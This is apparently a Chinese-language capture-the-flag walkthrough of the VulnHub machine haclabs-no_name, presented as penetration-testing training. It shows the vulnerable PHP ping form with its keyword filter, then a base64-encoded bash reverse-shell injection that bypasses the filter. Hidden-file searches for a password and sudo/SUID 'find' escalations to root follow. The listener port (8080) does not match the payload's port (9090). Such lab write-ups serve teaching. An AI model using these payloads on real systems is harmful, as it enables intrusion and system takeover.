1. 首页
  2. 靶场测试

[原创]靶机系列测试教程 haclabs-no_name

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

1         交流平台

随着教程的推出,看视频的人也越来越多,随之而来的问题也增多,本人平时非常忙,难以有时间回复大家的问题,特意建立了一个QQ群,里面有很多这方面的高手,有什么不懂的,请到群里提问,咨询问题的时候,一定要详细,不然没人会回复你,另外本人有时间会在群内直播测试靶机,还没加上群的赶快加上了。

[原创]靶机系列测试教程 haclabs-no_name

1         介绍

1.1  靶机介绍

描述 说明
Difficulty Easy to Intermediate
Description This a beginner level machine , getting a shell is a little bit harder, just think out of the box to get the shell.privilege escalation is easy once you get the shell.   This machine has 3 flags. Each flag is present in the Home directory of particular user. Be ready to test your Linux skills.
Flag 3个

下载地址

https://www.vulnhub.com/entry/haclabs-no_name,429/

难度 中等

2         靶机测试

2.1  信息收集

2.1.1        nmap扫描

nmap -T5 -A 192.168.0.172 -oA hl-ports

[原创]靶机系列测试教程 haclabs-no_name

3.2  目录扫描

gobuster dir -u http://192.168.0.173 -w /usr/share/wordlists/dirb/big.txt -t 100 -x php

[原创]靶机系列测试教程 haclabs-no_name

3.3  访问主页

[原创]靶机系列测试教程 haclabs-no_name

经过一些列测试发现存在命令执行漏洞

http://192.168.0.173/superadmin.php

[原创]靶机系列测试教程 haclabs-no_name

3.4  分析php文件

ping 127.0.0.1|cat superadmin.php

<form method="post" action="">
<input type="text" placeholder="Enter an IP to ping" name="pinger">
<br>
<input type="submit" name="submitt">
</form>

<pre><form method="post" action="">
<input type="text" placeholder="Enter an IP to ping" name="pinger">
<br>
<input type="submit" name="submitt">
</form>

<?php
   if (isset($_POST['submitt']))
{
   	$word=array(";","&&","/","bin","&"," &&","ls","nc","dir","pwd");
   	$pinged=$_POST['pinger'];
   	$newStr = str_replace($word, "", $pinged);
   	if(strcmp($pinged, $newStr) == 0)
		{
		    $flag=1;
		}
       else
		{
		   $flag=0;
		}
}

if ($flag==1){
$outer=shell_exec("ping -c 3 $pinged");
echo "<pre>$outer</pre>";
}
?>

$word=array(";","&&","/","bin","&"," &&","ls","nc","dir","pwd");
str_replace($word, "", $pinged);
把以上的字符过滤了。

3.5  绕过命令执行反弹shell

bash -i >& /dev/tcp/192.168.0.170/9090 0>&1 转成 base64

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTcwLzkwOTAgMD4mMQ==

监听本地8080端口

nc -lvnp 8080

127.0.0.1|echo “YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTcwLzkwOTAgMD4mMQ==”|base64 -d|bash

[原创]靶机系列测试教程 haclabs-no_name

3.6  切换python shell

python3 -c ‘import pty;pty.spawn(“/bin/bash”)’;

3.7  查看当前用户

cat /etc/passwd | grep bash

[原创]靶机系列测试教程 haclabs-no_name

三个用户 刚好三个flag 最终的是root用户下的flag.txt

3.8  第一个flag

cat /home/yash/flag1.txt

得到第一个flag1.txt

Due to some security issues,I have saved haclabs password in a hidden file.

[原创]靶机系列测试教程 haclabs-no_name

这点文字的意思是 haclabs 的密码隐藏在一个文件里面

3.9  搜索隐藏文件

文件是yash用户建立的 可以使用搜索用户的文件

find / -type f -user yash 2>/dev/null

[原创]靶机系列测试教程 haclabs-no_name

find / -name “.*” -print

find / -name “.*” 2>/dev/null

[原创]靶机系列测试教程 haclabs-no_name
[原创]靶机系列测试教程 haclabs-no_name

用户 haclabs密码haclabs1234

3.10 第二个flag

su haclabs 登录 查看当前的flag2.txt

[原创]靶机系列测试教程 haclabs-no_name

其实也可以用www的权限访问 获取flag2.txt

3.11 特权提升

3.11.1      sudo提权 第一种方法
[原创]靶机系列测试教程 haclabs-no_name

看到当前目录下有sudo_as_admin_successful

sudo -l

[原创]靶机系列测试教程 haclabs-no_name

find 命令不需要密码

sudo find . -exec /bin/sh \; -quit

[原创]靶机系列测试教程 haclabs-no_name
3.11.2        第二种suid提权

查找suid文件

find /usr -perm -u=s -type f 2>/dev/null

[原创]靶机系列测试教程 haclabs-no_name

find test -exec /bin/bash -p \; -quit

[原创]靶机系列测试教程 haclabs-no_name

3.11.3  得到第三个flag

[原创]靶机系列测试教程 haclabs-no_name

4         学习总结

  • nmap扫描
  • gobuster目录扫描
  • 分析php漏洞
  • 绕过命令执行漏洞
  • 反弹SHELL
  • 搜索隐藏文件
  • linux suid提权
  • linux sudo提权

原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/989.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息